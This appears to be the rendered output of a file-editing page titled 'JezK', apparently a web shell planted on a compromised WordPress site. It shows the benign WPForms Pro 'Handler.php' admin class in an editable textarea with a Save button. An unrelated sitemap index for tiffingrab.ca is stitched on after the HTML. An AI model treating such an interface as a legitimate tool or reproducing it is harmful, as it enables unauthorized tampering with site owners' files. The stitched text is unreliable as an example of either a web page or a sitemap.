
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Handler.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace WPForms\Pro\Admin\Entries;

/**
 * Class Handler.
 *
 * @since 1.8.3
 */
class Handler {

	/**
	 * Init.
	 *
	 * @since 1.8.3
	 */
	public function init() {

		// Check if the current page is the entries page.
		if ( ! wpforms_is_admin_page( &#039;entries&#039; ) ) {
			return;
		}

		$this-&gt;maybe_redirect();
	}

	/**
	 * Maybe redirect to the entries list page.
	 *
	 * @since 1.8.3
	 */
	public function maybe_redirect() {

		// Redirect to the entries page if the current page is not valid.
		if ( ! $this-&gt;is_valid_entries_page() ) {
			wp_safe_redirect( admin_url( &#039;admin.php?page=wpforms-entries&#039; ) );
			exit;
		}
	}

	/**
	 * Check if the current entries page is valid.
	 *
	 * @since 1.8.3
	 *
	 * @return bool
	 */
	protected function is_valid_entries_page() { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh, Generic.Metrics.CyclomaticComplexity.MaxExceeded

		$url_args = $this-&gt;get_entries_page_args();

		// Check if the page is the entries list page.
		if ( empty( $url_args ) || empty( $url_args[&#039;view&#039;] ) ) {
			return true;
		}

		$available_views = [
			&#039;list&#039;,
			&#039;edit&#039;,
			&#039;print&#039;,
			&#039;details&#039;,
			&#039;survey&#039;,
		];

		return in_array( sanitize_key( $url_args[&#039;view&#039;] ), $available_views, true );
	}

	/**
	 * Get entries page arguments.
	 *
	 * @since 1.8.3
	 *
	 * @return array
	 */
	protected function get_entries_page_args() {

		$current_url = wpforms_current_url();
		$url_query   = wp_parse_url( $current_url, PHP_URL_QUERY );
		$url_args    = wp_parse_args( $url_query );

		// Remove the page argument. Empty page argument means that the current page is the entries list page.
		unset( $url_args[&#039;page&#039;] );

		return $url_args;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://tiffingrab.ca/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
